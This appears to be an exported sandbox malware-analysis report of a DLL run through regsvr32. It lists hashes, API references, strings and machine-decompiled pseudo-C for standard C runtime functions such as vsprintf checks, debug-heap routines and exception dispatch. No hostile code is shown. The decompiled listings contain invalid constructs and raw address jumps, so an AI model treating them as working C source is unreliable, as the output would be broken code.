Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3131718208
Opcode ID: 43b2844285fd77a1982b218cfc07c90d3f3fad476d4107e0837d5d8b2ccbe159
Instruction ID: 25215b7a66bf5335accef34de15d40bd2ed0749c1f690011489e68f1b39c7366
Opcode Fuzzy Hash: 43b2844285fd77a1982b218cfc07c90d3f3fad476d4107e0837d5d8b2ccbe159
Instruction Fuzzy Hash: F3113571E086429AF7A09B28E9047BE62D0F344308F608525A7EC076F5DB7EE548CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31FCB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32050

Strings

_vsnprintf_helper, xrefs: 000007FEF9D32042
(format != NULL), xrefs: 000007FEF9D31FEC, 000007FEF9D32049
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32001, 000007FEF9D3203B

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-1927795013
Opcode ID: 98ed0b5fdb5fc60e70232fca9ee65f87cb4d2692f01eaf8ea89a3da70423e3bd
Instruction ID: 944cdc0bbf70bc89b755e38a530f77822666c2a95ff09ee036fe4101a55fb2d6
Opcode Fuzzy Hash: 98ed0b5fdb5fc60e70232fca9ee65f87cb4d2692f01eaf8ea89a3da70423e3bd
Instruction Fuzzy Hash: 62010831E0C646DAF7A09B68EC057AD66D0B380354FB04625A69C066F9DB7EE589CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25A25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D25AAA

Strings

_msize_dbg, xrefs: 000007FEF9D25A9C
pUserData != NULL, xrefs: 000007FEF9D25A46, 000007FEF9D25AA3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25A5B, 000007FEF9D25A95

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _msize_dbg$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pUserData != NULL
API String ID: 2123368286-563024394
Opcode ID: 4f42008d2eeb6119988a971f0b8ebe92e3bb2dd5d0d6607e11ba140e367e8579
Instruction ID: a0eba8665c26eae2e6ed32b737e6c8ef722208237a38dcf7c055842964877d15
Opcode Fuzzy Hash: 4f42008d2eeb6119988a971f0b8ebe92e3bb2dd5d0d6607e11ba140e367e8579
Instruction Fuzzy Hash: 5B01483190860A86FBA09B14EC417AE62E0F351328FB14222D2DC126E4DB7FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D325F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3267B

Strings

_vsnprintf_s_l, xrefs: 000007FEF9D3266D
format != NULL, xrefs: 000007FEF9D32617, 000007FEF9D32674
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D3262C, 000007FEF9D32666

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL
API String ID: 2123368286-577066449
Opcode ID: e471ef19857bf677b9863c0521a2362ee6eb8c4f9ff1322e4db10fa111c1afe4
Instruction ID: 4a3f651cd4551bfcababacb72a39fd99133eb44e8e6a79d9543262d1bb372964
Opcode Fuzzy Hash: e471ef19857bf677b9863c0521a2362ee6eb8c4f9ff1322e4db10fa111c1afe4
Instruction Fuzzy Hash: 5D019630E0860ACAE7A09B10EC817AD22E0E794394FA08025A2CD066F8DB3EE6448B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,000007FEF9D274F1), ref: 000007FEF9D2749F
GetProcAddress.KERNEL32 ref: 000007FEF9D274BE

Strings

mscoree.dll, xrefs: 000007FEF9D27498
CorExitProcess, xrefs: 000007FEF9D274B2

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 5b280635b15effc0f011d898b8b9467002935a92ac88a45419cb005d03af6660
Instruction ID: 8122274e17013f5b0610865d0345eaa92fe91d894f768ab51d4a4384d1174919
Opcode Fuzzy Hash: 5b280635b15effc0f011d898b8b9467002935a92ac88a45419cb005d03af6660
Instruction Fuzzy Hash: A5F0AC31918A4282D674DF18F94836DB7B0F384348F644125E6CE42678DF3ED559CA04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40C80 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D40C80(signed int __ecx, void* __eflags, void* __rax, void* __r8, signed int _a8) {
				signed long long _v16;
				long _v24;
				void* _t57;
				signed long long _t59;

				_t57 = __rax;
				_a8 = __ecx;
				E000007FE7FEF9D3F900(_a8);
				if (_t57 == 0xffffffff) goto 0xf9d40d05;
				if (_a8 != 1) goto 0xf9d40cb3;
				if (( *( *0xf9d4e560 + 0xb8) & 0x00000001) != 0) goto 0xf9d40ccc;
				if (_a8 != 2) goto 0xf9d40cef;
				_t59 =  *0xf9d4e560;
				if (( *(_t59 + 0x60) & 0x00000001) == 0) goto 0xf9d40cef;
				E000007FE7FEF9D3F900(1);
				_v16 = _t59;
				E000007FE7FEF9D3F900(2);
				if (_v16 == _t59) goto 0xf9d40d05;
				E000007FE7FEF9D3F900(_a8);
				if (CloseHandle(??) == 0) goto 0xf9d40d0f;
				_v24 = 0;
				goto 0xf9d40d19;
				_v24 = GetLastError();
				E000007FE7FEF9D3F7D0(_a8, _t59);
				 *((char*)( *((intOrPtr*)(0xf9d4e560 + _t59 * 8)) + 8 + (_a8 & 0x0000001f) * 0x58)) = 0;
				if (_v24 == 0) goto 0xf9d40d60;
				E000007FE7FEF9D2AA70(_v24,  *((intOrPtr*)(0xf9d4e560 + _t59 * 8)));
				goto 0xf9d40d62;
				return 0;
			}

0x7fef9d40c80
0x7fef9d40c80
0x7fef9d40c8c
0x7fef9d40c95
0x7fef9d40c9c
0x7fef9d40cb1
0x7fef9d40cb8
0x7fef9d40cba
0x7fef9d40cca
0x7fef9d40cd1
0x7fef9d40cd6
0x7fef9d40ce0
0x7fef9d40ced
0x7fef9d40cf3
0x7fef9d40d03
0x7fef9d40d05
0x7fef9d40d0d
0x7fef9d40d15
0x7fef9d40d1d
0x7fef9d40d44
0x7fef9d40d4e
0x7fef9d40d54
0x7fef9d40d5e
0x7fef9d40d66

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

CloseHandle.KERNEL32 ref: 000007FEF9D40CFB
GetLastError.KERNEL32 ref: 000007FEF9D40D0F
_free_osfhnd.LIBCMTD ref: 000007FEF9D40D1D
_dosmaperr.LIBCMTD ref: 000007FEF9D40D54

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CloseErrorHandleLast__doserrno_dosmaperr_free_osfhnd
String ID:
API String ID: 1551955814-0
Opcode ID: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction ID: de0ed08be9decc95e7dd14c86c95eccfc4319969b2c7c8741dbc19f533f0ba9a
Opcode Fuzzy Hash: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction Fuzzy Hash: 4A219F32A0C64686E7A49B28EC4133E72E1F781355F348235E6DD46AF9DB2EE845CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D21000 Relevance: 6.0, APIs: 4, Instructions: 47threadtimeCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 000007FEF9D2101D
GetDateFormatA.KERNEL32 ref: 000007FEF9D21038
GetThreadLocale.KERNEL32 ref: 000007FEF9D2106F
GetTimeFormatA.KERNEL32 ref: 000007FEF9D2108A

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FormatLocaleThread$DateTime
String ID:
API String ID: 3587784874-0
Opcode ID: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction ID: 0d03bf333fdb9b17262424d59d82d7c7719cce37cb4ba974854027563787c74d
Opcode Fuzzy Hash: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction Fuzzy Hash: 3311E33160878086E3608F68F94025EB7E0F748BA4F648724EF9D47BA8CB3ED1418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2A5E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D2A5E0(long long __rcx, void* _a8) {
				signed int _v24;
				char _v42;
				void* _v48;
				signed int _v56;
				char _v312;
				signed char* _v328;
				char _v584;
				char _v840;
				char _v1352;
				char _v1384;
				char _v1392;
				intOrPtr _v1400;
				long long _v1408;
				long long _v1416;
				signed long long _t206;
				signed char* _t214;
				signed long long _t223;
				intOrPtr _t225;
				intOrPtr _t226;
				signed long long _t233;

				_t224 = __rcx;
				_a8 = __rcx;
				_t206 =  *0xf9d4b018; // 0x6ebd4e3f5ce4
				_v24 = _t206 ^ _t233;
				if (GetCPInfo(??, ??) == 0) goto 0xf9d2a906;
				_v56 = 0;
				goto 0xf9d2a63c;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a661;
				 *((char*)(_t233 + _a8 + 0x470)) = _v56 & 0x000000ff;
				goto 0xf9d2a62c;
				_v312 = 0x20;
				_v328 =  &_v42;
				goto 0xf9d2a68f;
				_v328 =  &(_v328[2]);
				if (( *_v328 & 0x000000ff) == 0) goto 0xf9d2a6ea;
				_v56 =  *_v328 & 0x000000ff;
				goto 0xf9d2a6c2;
				_v56 = _v56 + 1;
				_t214 = _v328;
				if (_v56 - ( *(_t214 + 1) & 0x000000ff) > 0) goto 0xf9d2a6e8;
				 *((char*)(_t233 + _t214 + 0x470)) = 0x20;
				goto 0xf9d2a6b2;
				goto 0xf9d2a67b;
				_v1392 = 0;
				_v1400 =  *((intOrPtr*)(_a8 + 0xc));
				_v1408 =  *((intOrPtr*)(_a8 + 4));
				_v1416 =  &_v1352;
				r9d = 0x100;
				E000007FE7FEF9D2F4D0(1,  &_v1352, __rcx,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v840;
				_v1416 = 0x100;
				r8d = 0x100;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_a8 + 0xc)), _a8, _t224,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v584;
				_v1416 = 0x100;
				r8d = 0x200;
				_t223 = _a8;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_t223 + 0xc)), _t223, _t224,  &_v312);
				_v56 = 0;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a901;
				if (( *(_t233 + 0x60 + _t223 * 2) & 1) == 0) goto 0xf9d2a879;
				_t225 = _a8;
				 *((char*)(_a8 + _t225 + 0x1c)) =  *(_t225 + _t223 + 0x1c) & 0x000000ff | 0x00000010;
				 *((char*)(_a8 + _t225 + 0x11d)) =  *(_t233 + _t223 + 0x260) & 0x000000ff;
				goto 0xf9d2a8fc;
				if (( *(_t233 + 0x60 + _t223 * 2) & 2) == 0) goto 0xf9d2a8e5;
				_t226 = _a8;
				 *((char*)(_a8 + _t226 + 0x1c)) =  *(_t226 + _t223 + 0x1c) & 0x000000ff | 0x00000020;
				 *((char*)(_a8 + _t226 + 0x11d)) =  *(_t233 + _t223 + 0x360) & 0x000000ff;
				goto 0xf9d2a8fc;
				 *((char*)(_a8 + _t223 + 0x11d)) = 0;
				goto L1;
				goto 0xf9d2aa20;
				_v56 = 0;
				_v56 = _v56 + 1;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2aa20;
				if (_v56 - 0x41 < 0) goto 0xf9d2a99c;
				if (_v56 - 0x5a > 0) goto 0xf9d2a99c;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000010;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 + 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				if (_v56 - 0x61 < 0) goto 0xf9d2aa04;
				if (_v56 - 0x7a > 0) goto 0xf9d2aa04;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000020;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 - 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(__rdx + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				__eax = _v56;
				__rcx = _a8;
				 *((char*)(_a8 + __rax + 0x11d)) = 0;
				goto L2;
				__rcx = _v24;
				__rcx = _v24 ^ __rsp;
				return E000007FE7FEF9D23280(_v56, _v56, __edx, _v24 ^ __rsp, __rdx, __r8);
			}

0x7fef9d2a5e0
0x7fef9d2a5e0
0x7fef9d2a5ec
0x7fef9d2a5f6
0x7fef9d2a619
0x7fef9d2a61f
0x7fef9d2a62a
0x7fef9d2a635
0x7fef9d2a647
0x7fef9d2a658
0x7fef9d2a65f
0x7fef9d2a661
0x7fef9d2a671
0x7fef9d2a679
0x7fef9d2a687
0x7fef9d2a69c
0x7fef9d2a6a9
0x7fef9d2a6b0
0x7fef9d2a6bb
0x7fef9d2a6c2
0x7fef9d2a6d5
0x7fef9d2a6de
0x7fef9d2a6e6
0x7fef9d2a6e8
0x7fef9d2a6ea
0x7fef9d2a6fd
0x7fef9d2a70c
0x7fef9d2a715
0x7fef9d2a71a
0x7fef9d2a72f
0x7fef9d2a734
0x7fef9d2a747
0x7fef9d2a74b
0x7fef9d2a75b
0x7fef9d2a760
0x7fef9d2a770
0x7fef9d2a783
0x7fef9d2a788
0x7fef9d2a79b
0x7fef9d2a79f
0x7fef9d2a7af
0x7fef9d2a7b4
0x7fef9d2a7c4
0x7fef9d2a7ca
0x7fef9d2a7d7
0x7fef9d2a7dc
0x7fef9d2a7f2
0x7fef9d2a804
0x7fef9d2a81b
0x7fef9d2a828
0x7fef9d2a84b
0x7fef9d2a86d
0x7fef9d2a874
0x7fef9d2a88a
0x7fef9d2a897
0x7fef9d2a8ba
0x7fef9d2a8dc
0x7fef9d2a8e3
0x7fef9d2a8f4
0x7fef9d2a8fc
0x7fef9d2a901
0x7fef9d2a906
0x7fef9d2a91a
0x7fef9d2a91c
0x7fef9d2a92e
0x7fef9d2a93c
0x7fef9d2a946
0x7fef9d2a94f
0x7fef9d2a953
0x7fef9d2a960
0x7fef9d2a96a
0x7fef9d2a96e
0x7fef9d2a976
0x7fef9d2a981
0x7fef9d2a984
0x7fef9d2a98b
0x7fef9d2a993
0x7fef9d2a99a
0x7fef9d2a9a4
0x7fef9d2a9ae
0x7fef9d2a9b7
0x7fef9d2a9bb
0x7fef9d2a9c8
0x7fef9d2a9d2
0x7fef9d2a9d6
0x7fef9d2a9de
0x7fef9d2a9e9
0x7fef9d2a9ec
0x7fef9d2a9f3
0x7fef9d2a9fb
0x7fef9d2aa02
0x7fef9d2aa04
0x7fef9d2aa0b
0x7fef9d2aa13
0x7fef9d2aa1b
0x7fef9d2aa20
0x7fef9d2aa28
0x7fef9d2aa37

APIs

GetCPInfo.KERNEL32 ref: 000007FEF9D2A611

Strings

, xrefs: 000007FEF9D2A6DE
z, xrefs: 000007FEF9D2A9A6

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Info
String ID: $z
API String ID: 1807457897-2251613814
Opcode ID: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction ID: 4853ceba84ddbb230417778543f3b3b02ea2aa858227094ccd1c634e11d49f23
Opcode Fuzzy Hash: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction Fuzzy Hash: C8B1B77261CAC0CAD7B58B29E8807AFB7E0F388785F155125DAC983B99DB2DD4429F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34960 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E000007FE7FEF9D34960(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int _a40, intOrPtr _a48, long long _a56, long long _a64) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* _t106;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				long long _t153;
				signed int _t161;
				signed int _t165;
				long long _t166;
				long long _t169;
				long long _t170;
				intOrPtr _t174;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t153 = _a8;
				if ( *_t153 != 0x80000003) goto 0xf9d34990;
				goto 0xf9d34cc6;
				0xf9d24000();
				if ( *((long long*)(_t153 + 0xe0)) == 0) goto 0xf9d34a33;
				0xf9d24000();
				_v56 = _t153;
				E000007FE7FEF9D23D00(_t106);
				if ( *((intOrPtr*)(_v56 + 0xe0)) == _t153) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434f4d) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434352) goto 0xf9d34a33;
				_v120 = _a64;
				_v128 = _a56;
				_v136 = _a40;
				if (E000007FE7FEF9D2E9B0(_a8, _a16, _a24, _a32) == 0) goto 0xf9d34a33;
				goto 0xf9d34cc6;
				if ( *((intOrPtr*)(_a40 + 0xc)) == 0) goto 0xf9d34a43;
				goto 0xf9d34a48;
				E000007FE7FEF9D2CF80(_a40);
				_v120 = _a32;
				_v128 =  &_v60;
				_t161 =  &_v64;
				_v136 = _t161;
				r9d = _a48;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v72 = _t161;
				_v64 = _v64 + 1;
				_v72 = _v72 + 0x14;
				if (_v64 - _v60 >= 0) goto 0xf9d34cc6;
				if (_a48 -  *_v72 < 0) goto 0xf9d34c2b;
				_t165 = _v72;
				if (_a48 -  *((intOrPtr*)(_t165 + 4)) > 0) goto 0xf9d34c2b;
				_t117 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t165 + 4)), _t165);
				_t166 = _t165 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t166 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34b53;
				_t118 = E000007FE7FEF9D2E680(_t117, _t166);
				_v48 = _t166;
				_t119 = E000007FE7FEF9D2E680(_t118, _t166);
				_t169 = _v48 +  *((intOrPtr*)(_t166 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				_v40 = _t169;
				goto 0xf9d34b5f;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d34bff;
				_t120 = E000007FE7FEF9D2E680(_t119, _t169);
				_t170 = _t169 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t170 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34be3;
				_t121 = E000007FE7FEF9D2E680(_t120, _t170);
				_v32 = _t170;
				E000007FE7FEF9D2E680(_t121, _t170);
				_v24 = _v32 +  *((intOrPtr*)(_t170 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				goto 0xf9d34bef;
				_v24 = 0;
				_t174 = _v24;
				if ( *((char*)(_t174 + 0x10)) != 0) goto 0xf9d34c2b;
				E000007FE7FEF9D2E680( *((char*)(_t174 + 0x10)), _t174);
				if (( *(_t174 +  *((intOrPtr*)(_v72 + 0x10)) + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14) & 0x00000040) == 0) goto 0xf9d34c30;
				goto L1;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_v72 =  *((intOrPtr*)(_v72 + 0x10));
				__rax = __rax +  *((intOrPtr*)(_v72 + 0x10));
				_v72 =  *((intOrPtr*)(_v72 + 0xc)) - 1;
				__rcx = ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__rax = __rax + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__eflags = __rax;
				_v80 = 0;
				_v88 = 1;
				__rcx = _a64;
				_v96 = _a64;
				_v104 = _a56;
				__rcx = _v72;
				_v112 = _v72;
				_v120 = 0;
				_v128 = __rax;
				__rax = _a40;
				_v136 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D35180(__edi, __esi, __esp, __eflags, _a8, _a16, _a24, _a32);
				goto L1;
				return __eax;
			}

0x7fef9d34960
0x7fef9d34965
0x7fef9d3496a
0x7fef9d3496f
0x7fef9d3497b
0x7fef9d34989
0x7fef9d3498b
0x7fef9d34990
0x7fef9d3499d
0x7fef9d349a3
0x7fef9d349a8
0x7fef9d349ad
0x7fef9d349be
0x7fef9d349ce
0x7fef9d349de
0x7fef9d349e8
0x7fef9d349f4
0x7fef9d34a00
0x7fef9d34a2c
0x7fef9d34a2e
0x7fef9d34a3f
0x7fef9d34a41
0x7fef9d34a43
0x7fef9d34a50
0x7fef9d34a5a
0x7fef9d34a5f
0x7fef9d34a64
0x7fef9d34a69
0x7fef9d34a71
0x7fef9d34a89
0x7fef9d34a8e
0x7fef9d34a9b
0x7fef9d34aa8
0x7fef9d34ab5
0x7fef9d34ac9
0x7fef9d34acf
0x7fef9d34ade
0x7fef9d34ae4
0x7fef9d34af2
0x7fef9d34b0b
0x7fef9d34b0d
0x7fef9d34b12
0x7fef9d34b17
0x7fef9d34b46
0x7fef9d34b49
0x7fef9d34b51
0x7fef9d34b53
0x7fef9d34b68
0x7fef9d34b6e
0x7fef9d34b7c
0x7fef9d34b95
0x7fef9d34b97
0x7fef9d34b9c
0x7fef9d34ba4
0x7fef9d34bd9
0x7fef9d34be1
0x7fef9d34be3
0x7fef9d34bef
0x7fef9d34bfd
0x7fef9d34bff
0x7fef9d34c29
0x7fef9d34c2b
0x7fef9d34c30
0x7fef9d34c3a
0x7fef9d34c3e
0x7fef9d34c4b
0x7fef9d34c4e
0x7fef9d34c52
0x7fef9d34c52
0x7fef9d34c55
0x7fef9d34c5a
0x7fef9d34c5f
0x7fef9d34c67
0x7fef9d34c73
0x7fef9d34c77
0x7fef9d34c7c
0x7fef9d34c81
0x7fef9d34c8a
0x7fef9d34c8f
0x7fef9d34c97
0x7fef9d34c9c
0x7fef9d34ca4
0x7fef9d34cac
0x7fef9d34cb4
0x7fef9d34cbc
0x7fef9d34cc1
0x7fef9d34ccd

Strings

MOC, xrefs: 000007FEF9D349C8
RCC, xrefs: 000007FEF9D349D8

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: MOC$RCC
API String ID: 0-2084237596
Opcode ID: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction ID: 969568d65f9d334bdbb71439fdfa9ac9293f65c07e2bfce327525da45f7ede8f
